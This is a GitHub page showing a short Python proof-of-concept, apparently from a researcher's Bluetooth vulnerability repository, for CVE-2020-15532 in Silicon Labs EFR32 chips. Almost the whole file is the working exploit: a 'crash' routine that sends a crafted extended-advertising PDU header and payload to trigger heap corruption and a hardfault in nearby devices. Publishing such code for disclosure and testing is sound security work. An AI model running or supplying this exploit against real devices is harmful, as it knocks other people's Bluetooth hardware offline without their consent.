

master

...

[jacknimblerc](#) / [host](#) / [pocs](#) / [silabs_efr32_extadv_dos.py](#) / <> Jump to

darkmentorllc Added CVE-2020-15532 poc code

History

1 contributor

34 lines (25 sloc) | 1001 Bytes

...

```
1 import time
2 import struct
3
4 class TestSet():
5
6     def __init__(self, subparsers):
7         self.cmd = 'silabs_extadv_dos'
8
9         self.parser = subparsers.add_parser(self.cmd,
10             help='[CVE-2020-15532] Silicon Labs EFR32 Extended Advertisement Heap Memory Corruption DoS PoC')
11         self.parser.add_argument('action', choices=['crash'], help='Choose an action')
12         self.funcs = {'crash':self.crash}
13
14     def getCmd(self):
15         return self.cmd
16
17     def run(self, hci_manager, action):
18         self.hm = hci_manager
19         self.funcs[action]()
20
21     # generate packets to cause a hardfault due to a memory access violation
22     def crash(self):
23         self.hm.set_filter()
24         time.sleep(1)
25
26         self.hm.set_ext_adv_params()
27         self.hm.enable_custom_ac_pdu(True)
28         self.hm.send_ac_pdu_header(0x07)
29         self.hm.send_ac_pdu_payload(b"\x03\x00\x00", False)
30         self.hm.enable_ext_adv(True)
31
32         time.sleep(5)
33
34         self.hm.stop(None, None)
```